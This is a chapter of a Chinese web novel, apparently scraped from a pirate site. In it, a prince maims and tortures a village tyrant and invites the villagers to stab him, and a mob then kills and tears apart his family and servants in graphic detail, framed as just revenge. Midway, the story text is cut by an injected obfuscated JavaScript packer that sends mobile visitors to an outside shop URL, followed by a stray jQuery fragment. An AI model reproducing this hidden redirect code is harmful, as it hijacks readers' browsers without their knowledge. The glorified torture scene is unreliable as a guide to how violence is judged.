阳光洒下,第五潇把周围那些村民脸上半信半疑的复杂表情看的清清楚楚,他看出来了,这些人在害怕,怕王田、怕王意阳、怕锦衣卫,也在怕他。
他们被压了十年,早被压弯了脊梁,学会了缄默,因为开口的人,都死了!
他开口了,不算洪亮的声音传进每一个人的耳里。
“我是第五潇,当今皇帝是我父皇,排行第八。”
人群里起了一阵骚动,几个躲在大人身后的孩子探出脑袋偷偷打量他,被大人一把拽回去。
第五潇抬手,把两名便衣校尉探查到的罪证举高,让所有人都能看到纸面上密密麻麻的字迹。
“今天我来这里的目地很简单,只为了杀人。”这一句话落,周围人又是一阵惊惧,有人甚至颤抖了起来。
第五潇偏过头看了身后的王田一眼,“杀的就是身后的王家人。”
“他王田就是京官通政使王意阳手下的一条狗,他在这个村里当了十年的土霸王,压得你们喘不过气,逼得你们卖儿卖女,辛辛苦苦下地一年,到头来连一顿饱饭都吃不起!”
“你们说,该不该杀!”第五潇掷地有声,神色肃然的看着周围麻木的村民。
有一个胆子大的村民跟着喊了起来。
“该杀!王田该死!”
那声音从人群后方传出来,带着一种多年被压在心底的痛苦突然迸发的嘶哑。
第一个喊出来的人大约自己也没料到还能发出这样痛快的声音,愣了一瞬,但紧接着,第二声、第三声从不同方向冒了出来。
人群里那些原本还缩着脖子,一脸麻木的人开始一个接一个地抬起头来。
“该杀!”
“王田该死!”
“杀了他,杀了这群畜牲……”
声音越来越大,越来越齐,汇聚在一起,像一股被堵了太久的山洪终于冲开了口子,轰隆隆地奔涌而出。
跪在地上的王田家人被这股声浪吓得缩紧了脖子,王氏整个人抖成了筛糠,那半截舌头从手心里滚了出来,她浑然不觉。
王田的两个儿子已经昏死过去,就连王田本人也已经是一脸的菜色。
“好。”第五潇转身。
听到众人的呼声,他知道这群人内心深处的诉求没被磨灭,还能站出来发出抗议的声音,今天,安置村村人的脊梁挺起来了。
他宽大的袖袍多了一柄匕首,他掌心一番,匕首稳稳地握在手中。
他走到王田跟前,低头看着他。阳光照在匕首的刃面上,折出一道细而冷的光,映在第五潇眼底。
是吃人的冷!
王田抬起头,对上他的视线,那一瞬间,他整个人猛地打了个哆嗦,身下流出一滩黄色的液体,升起冲鼻的尿骚味。
“殿下……”王田拖着哭腔开口求饶,“殿下求您饶了我吧,我所做的一切都是王大人的安排啊!我只是照他的指示做事,我、我只是个跑腿的,我哪敢自己拿主意……”
他往前膝行了一步,仰着头看着第五潇:“殿下明鉴,您把我送去王府,王大人一定会保我的!他一定会救我的……”
“王大人?”第五潇打断了他,击毁王田最后的希望。“你还不知道吧?王意阳已经被我送进诏狱了。”
王田脸上那副哀求的表情还没来得及收回去,就凝固成了一副怪异的、半哭半笑的模子。
他不信,王意阳是谁?那可是山阴王氏这一代的家主,官至正三品大员,谁见了他不都是恭恭敬敬的。
很久以前他还在王府办事,上门找他家大人的皇室宗亲也不少,都是一副客客气气的模样,这么手眼通天的人物,怎么会说下狱就下狱了呢。
他在消化这句话,也是在确认第五潇是不是在骗他。
第五潇抬起手,精铁匕首的刃口泛着一层冷冷的寒芒,“不用怀疑,今日你先下去,不过你放心,不久之后,你的好主子也会下去找你的。”
话落,刀落。
第五潇朝着王田肩膀左右两边各挥了一刀,整条手臂从肩膀处齐根断开,两条断臂就掉在王田眼前。
王田的整个身子都在抽搐,他痛的要昏死过去,可是第五潇没有停下,他蹲下身,刀尖在王田断臂处不断戳刺。
“殿下!”王田再开口,声音完全变了形:“殿下求您给我个痛快吧!我、我愿交出王大人让我藏起来的所有脏银,全部交给您!”
第五潇收回匕首,低头看着王田那张已经被痛苦扭曲得认不出原样的脸,语气轻快了一些:“还有脏银?说吧,藏在哪里?”
王田此时已经不奢求被放过了,只求这个煞神别再折磨他,给他一个干脆,痛快的死去就好了。
王田拼命吸了一口气,他的声音断断续续的:“就在后山……凹坡处的山洞,门口我用石块和树枝遮挡了、从我家后院那条小路上去,拐两个弯就能看到……”
他喘了一口气,又补了一句,声音里带着哭腔:“我都说了……求殿下别再折磨我了……给我一个痛快吧……”
第五潇颔首,语气爽快:“行,我不折磨你。”
王田刚要松口气,就听见第五潇转过身,朝巷子里那片还黑压压站着的人群扬声问了一句。
“谁想杀王田报仇的,都给我出来,一人一刀,每个人都有机会。”
王田的瞳孔猛地收缩了。
人群安静了一瞬。
“八皇子,老婆子来。”孙婆婆从人群中走了出来,她瘦得厉害,颧骨高耸,眼窝深陷,一头花白的头发稀疏一层,贴在头皮上。
她身后跟着两个少年,约莫都是十七八岁,都长得干瘦,袖口短了一大截,露出底下细细的腕骨。
两个少年一左一右搀着孙婆婆的胳膊,来到第五潇身前,三双眼睛都落在他身上,里面有渴望、有不安,还有一点小心翼翼的信任。
“殿下,老婆子姓孙,我这两个孙子,大的叫大石,小的叫小石。他们俩,三年前想上告,王田就把兄弟二人掉在祠堂上,整整三天。”
孙婆婆干瘪的眼眶流出了泪水,她伸手把两个孙子的袖子往上一撸,肘弯处各有一道深深的勒痕,皮肉凹陷下去,那是被粗麻绳勒了整整三天之后留下来的永久印记。
“他们的手虽然还能动,但是再也拿不了重一点的东西了。”
第五潇站在原处,听她说完,没有说任何安慰的话。他只是低头看了看孙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934805|213360||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
婆婆那双被辛苦劳作折磨得变了形的手,随后把手里那把沾血的匕首翻了个面,刀柄朝外,递向孙婆婆。
“刀给你,去吧。”
孙婆婆握着匕首,浑浊的老眼里有什么东西亮了一下,她把两个孙子拉到身前,和两个孙子一起,三只手叠在一起。
婆孙三人用尽全身力量捅进了王田胸口处。
王田嘴角溢血,已是出气多进气少,王婆婆拔出匕首,交还给第五潇,随后三人齐齐跪了下来。
“谢谢八皇子殿下,您就是我们安置村的青天大老爷啊!谢谢您……”
第五潇面对这个有些手足无措,他赶忙拉起孙婆婆,语气有些干巴巴的道:“行了,你们先回去,不要影响后面的人过来。”
有一个少女扯着父母也走了出来,她走到第五潇面前时停住了,仰起头看他。
少女左脸生得极好看,即使常年吃不饱而过分瘦削,但还是看得出是个美人胚子。
可她右半边脸,爬满了狰狞的疤痕,那疤皮肉挛缩成一团,像被什么东西烧灼过,把那一整片脸皮变成了一张坑坑洼洼、让人不敢直视的面具。
那是她九岁的时候,父母拿烧红的碳在她脸上烙下的。
因为,有一次她跟着父母下地,王田那个畜生远远看见她那张脸变动了歪心思。
她那时候才九岁啊!父母为了不让她落入王田手中,只能毁了她这张脸。
“殿下,”少女开口了,声音有些胆怯,但是直视第五潇的眼神没有退缩:“我叫小草,我这张脸就是因为王田毁的,我恨他,我也要报仇。”
第五潇低着头,看着这个勇敢的女孩子,再次把匕首递了出去,“去吧,好孩子。”
王田再次感觉到心口一同,匕首再次进去,又出来。
反反复复。
人群动了。
他们的步子起初还有些犹豫,可越往前走越快,越走越急,最后变成了小跑,变成了扑。
跪着的王家人,没人身上都挨了刀子,甚至有人扑到他们身上,狠狠扯下一块肉来。
墙角坐着的那五个女子也动了,她们像是五根被压弯了太久的枝条,终于等到了可以反弹回来的那一刻。
相比凄惨的王田和两个儿子,王氏身上虽有刀伤,但还是能喘气,她偷偷抬起眼,只看见那五个女子站在她面前,把她整个人罩在一片暗影里。
她的瞳孔猛地缩了一下,想往后缩,可是已经晚了。
五个人同时扑了上去,或是用手,说是用嘴,每次动作都能撕下了一块皮肉来。
王家那些仆人和打手也没能幸免,他们跟着王田一家,在村里欺男霸女,动辄打骂,是王家欺压村人的鹰犬和爪牙。
安置村的人对他们的恨不比对王家人的少,人群蜂拥上前,只听哀嚎一片……
王家人都死了,死无完肤,死前及其痛苦。
哭声渐渐蔓延开来,一声声,一句句,似乎在发泄十年来所受过的所有的苦。
第五潇转过身,不忍再看,他觉得他也有点难受。薛臻走到他身旁,神情还是一如既往的冷淡:
“殿下,您要适应,大衡像这样的情况实在太多了。”